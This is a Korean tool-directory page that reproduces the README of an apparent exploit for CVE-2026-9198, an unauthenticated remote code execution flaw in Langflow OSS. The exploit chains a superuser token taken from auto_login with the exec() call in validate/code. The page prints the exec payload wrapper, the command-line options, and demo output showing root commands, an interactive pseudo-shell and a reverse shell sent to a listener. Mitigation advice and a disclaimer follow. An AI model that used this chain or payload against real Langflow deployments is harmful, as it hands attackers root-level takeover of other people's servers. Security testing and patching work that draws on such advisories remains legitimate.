Skip to content
KitploitKITPLOIT
도구익스플로잇블로그
Log in
제출
도구익스플로잇블로그
제출

해킹, 침투 테스트 및 사이버 보안 도구를 당신의 보안 무기고에!

Kitploit은 해킹, 사이버 보안 및 침투 테스트 도구 디렉토리입니다. 최신 프로젝트 업데이트를 발견하여 취약점을 찾고, 시스템을 분석하고, 테스트를 자동화하고, 보안을 강화하세요.

피드문의개인정보© 2026 Kitploit

도구 디렉토리

카테고리

모든 카테고리 보기
Loading categories
cve-2026-9198_exploit — CVE-2026-9198용 익스플로잇으로, 대상 환경에서 취약점을 평가하기 위한 개념 증명(PoC) 페이로드와 검증 단계를 포함합니다. | Kitploit
도구/GitHubGitHub/chessalekin/cve-2026-9198_exploit
Vulnerability AnalysisExploitationPenetration Testing
GitHubchessalekin/cve-2026-9198_exploit

cve-2026-9198_exploit

CVE-2026-9198용 익스플로잇으로, 대상 환경에서 취약점을 평가하기 위한 개념 증명(PoC) 페이로드와 검증 단계를 포함합니다.

저장소 보기
222개월 전아직 검토되지 않음

인기

모두 보기 →

커뮤니티에서 가장 많이 사용되는 도구를 찾아보세요.

모든 도구 탐색

도구 컬렉션을 둘러보세요

모든 도구 보기 →
공유

CVE-2026-9198 — Langflow OSS 인증 없는 RCE

기본 배포 환경의 IBM Langflow OSS(1.0.0 – 1.10.0)에서 발생하는 인증 없는 원격 코드 실행 취약점입니다. 두 가지 결함을 연쇄적으로 악용합니다:

  • CVE-2026-9103 — AUTO_LOGIN이 활성화된 경우(Langflow < 1.5의 기본값), GET /api/v1/auto_login이 자격 증명 없이 호출한 모든 대상에게 SUPERUSER JWT를 발급합니다.
  • CVE-2026-8481 — POST /api/v1/validate/code가 사용자가 제공한 Python 코드를 샌드박스 없이 exec()에 전달합니다.

이 둘을 결합하면(CVE-2026-9198) 인증되지 않은 공격자가 Langflow 서비스 사용자 권한으로 코드를 실행할 수 있으며, 이 사용자는 흔히 root입니다.

동작 방식

  1. /api/v1/auto_login에서 인증 없이 슈퍼유저 베어러 토큰을 요청합니다.

  2. /api/v1/validate/code에 페이로드를 제출합니다. 이 엔드포인트는 코드를 "검증"하기 위해 exec()를 실행하며, Python은 함수 정의 시점에 기본 인자 값을 평가하므로 페이로드는 함수의 기본 인자로 감싸집니다:

    def _v(a=exec('<payload>')): pass
    

    명령 실행의 경우, 페이로드는 명령 출력을 메시지로 하는 예외를 발생시키며, 엔드포인트는 이를 응답(function.errors[])에 그대로 반영합니다.

사용법

./exploit.py -t <target> [options]

  -t, --target     대상 호스트/IP (또는 전체 URL)          (필수)
  -p, --port       Langflow 포트                          (기본값 7860)
  -c, --cmd        단일 셸 명령 실행 후 출력 표시
      --shell      대화형 의사 셸 (각 줄이 RCE를 통해 실행됨)
      --lhost      리버스 셸 리스너 IP
      --lport      리버스 셸 리스너 포트                    (기본값 4444)
  -k, --token      이 베어러 토큰 사용 (auto_login 건너뜀)
      --timeout    HTTP 타임아웃(초)                       (기본값 20)
      --no-banner  배너 표시 안 함
  -h, --help       도움말 표시

데모

$ ./exploit.py -t 192.168.30.128
CVE-2026-9198 — Langflow unauthenticated RCE
  auto_login (superuser token) -> validate/code (exec)

[*] requesting superuser token via /api/v1/auto_login ...
[+] token: eyJhbGciOiJIUzI1NiIsInR...
uid=0(root) gid=0(root) groups=0(root)

$ ./exploit.py -t 192.168.30.128 -c 'cat /root/proof.txt'
...
d4b81f6a3c9e07254f6a3c9e07254d4b

$ ./exploit.py -t 192.168.30.128 --shell
[+] RCE confirmed: uid=0(root) gid=0(root) groups=0(root)
[*] pseudo-shell — each line runs via a fresh request. Ctrl-C / 'exit' to quit.
langflow$ hostname
flow
langflow$ whoami
root

# reverse shell (start `nc -lvnp 4444` first)
$ ./exploit.py -t 192.168.30.128 --lhost 10.10.14.7 --lport 4444
[*] sending reverse shell to 10.10.14.7:4444 (start your listener first) ...
[+] payload sent. Check your listener.

요구 사항

  • Python 3.6+ (표준 라이브러리만 사용 — pip install 불필요)

참고 사항

  • AUTO_LOGIN이 활성화된 동안에만 동작합니다(Langflow < 1.5의 기본값이며, >= 1.5에서는 명시적으로 LANGFLOW_AUTO_LOGIN=true로 설정해야 함). auto_login이 토큰을 반환하지 않으면 해당 대상은 이 경로로는 악용할 수 없습니다. 유효한 토큰이 있다면 -k로 제공하십시오.
  • 명령 출력은 응답의 function.errors[]에 반환되며, stderr는 stdout에 병합되므로 실패한 명령도 오류를 표시합니다.
  • 코드는 Langflow 서비스 사용자 권한으로 실행됩니다. 해당 사용자가 root인 경우(systemd/Docker에서 root로 langflow run을 직접 실행하는 흔한 구성), 이는 곧 호스트의 직접적인 root 권한입니다.

완화 방안

  • Langflow를 영향받는 범위를 벗어난 버전으로 업그레이드하십시오. validate/code는 신뢰할 수 없는 입력을 exec()해서는 안 되며, auto_login은 슈퍼유저 토큰을 발급해서는 안 됩니다.
  • LANGFLOW_AUTO_LOGIN=false로 설정하고 실제 슈퍼유저 자격 증명을 구성하십시오.
  • Langflow 서비스를 절대 root로 실행하지 마십시오.

면책 조항

이 프로젝트는 승인된 보안 테스트 및 교육 목적으로만 공개됩니다. 소유하지 않았거나 명시적인 테스트 허가를 받지 않은 시스템에 사용하지 마십시오. 작성자는 오용에 대해 어떠한 책임도 지지 않습니다.

도구 다운로드